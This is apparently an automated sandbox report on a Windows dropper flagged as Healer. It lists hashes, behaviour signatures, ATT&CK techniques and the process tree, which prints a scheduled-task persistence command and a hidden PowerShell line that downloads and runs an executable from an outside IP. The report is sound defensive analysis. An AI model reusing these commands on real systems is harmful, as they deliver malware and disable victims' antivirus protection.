Overview

overview

10

Static

static

5

2e5e065dd9...fd.exe

windows7-x64

10

2e5e065dd9...fd.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    40s
  • max time network
    37s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    08-02-2025 03:04

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General

  • Target

    2e5e065dd96bc73491747ef2163358f9d8dd21a09f828d3d83adc5cb9a5ddafd.exe

  • Size

    938KB

  • MD5

    35175480aaf58a493e68cb0adc722d8b

  • SHA1

    2b59ac7beda4cab50a10b0ea9a787c33151cd723

  • SHA256

    2e5e065dd96bc73491747ef2163358f9d8dd21a09f828d3d83adc5cb9a5ddafd

  • SHA512

    18b54f47363bd68636b2bab867226dca0233bceada0c06cc32487a1adcf28dc6003490fe1fe77d2ad25a876a36f0c589d5597b13dd4d1a3182ab6cb68f91f29d

  • SSDEEP

    24576:QqDEvCTbMWu7rQYlBQcBiT6rprG8aejl:QTvC/MTQYxsWR7aej

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2e5e065dd96bc73491747ef2163358f9d8dd21a09f828d3d83adc5cb9a5ddafd.exe
    "C:\Users\Admin\AppData\Local\Temp\2e5e065dd96bc73491747ef2163358f9d8dd21a09f828d3d83adc5cb9a5ddafd.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn PN7A9maPK2f /tr "mshta C:\Users\Admin\AppData\Local\Temp\BgyevbZqF.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn PN7A9maPK2f /tr "mshta C:\Users\Admin\AppData\Local\Temp\BgyevbZqF.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1628
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\BgyevbZqF.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2700
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'P3HXNMZBNXX7D1D7VWAYUSOPQBERJSCO.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3024
        • C:\Users\Admin\AppData\Local\TempP3HXNMZBNXX7D1D7VWAYUSOPQBERJSCO.EXE
          "C:\Users\Admin\AppData\Local\TempP3HXNMZBNXX7D1D7VWAYUSOPQBERJSCO.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

6
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

3
T1012

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\BgyevbZqF.hta
    Filesize

    726B

    MD5

    9c114ce13790a8e971ebf6dc173b570a

    SHA1

    fda28a1e332ff756b7ccb9e6359efad35409663e

    SHA256

    d448ded9b9b60bfb798e9d76daa1ae62d58d6c5ba115c47962f842b19448c942

    SHA512

    c6c2d1d4ad0cfd992dc8a4d90625260bc04a481b426023b104ea72c354f2cfee1c6680342c6dd7fa04177960baf4b5769d78debda402484c2c1d7c45c1a2bde8

    Download Submit

  • \Users\Admin\AppData\Local\TempP3HXNMZBNXX7D1D7VWAYUSOPQBERJSCO.EXE
    Filesize

    2.7MB

    MD5

    f2f427ce17e7cb811f2f152f89f3d9b2

    SHA1

    dbe4dba754ffd0ba3764a7a10fa70f924846523f

    SHA256

    0e3691bde4e76899404d272f297923e19e02afd671d09a1010118d0d3378f987

    SHA512

    9ce4f6c105ed132ed556c40db9a487239114abe98f3fe0c9a63b76caef11ed632b982c213695a9efc5f54fbdb8e15e27bd153f15bd50d80c5a16fd96da900a82

    Download Submit

  • memory/2780-14-0x0000000000D20000-0x0000000000FD2000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/2780-15-0x0000000000D20000-0x0000000000FD2000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/2780-18-0x0000000000D20000-0x0000000000FD2000-memory.dmp

    Filesize

    2.7MB

    Download

  • memory/3024-12-0x0000000006050000-0x0000000006302000-memory.dmp

    Filesize

    2.7MB

    Download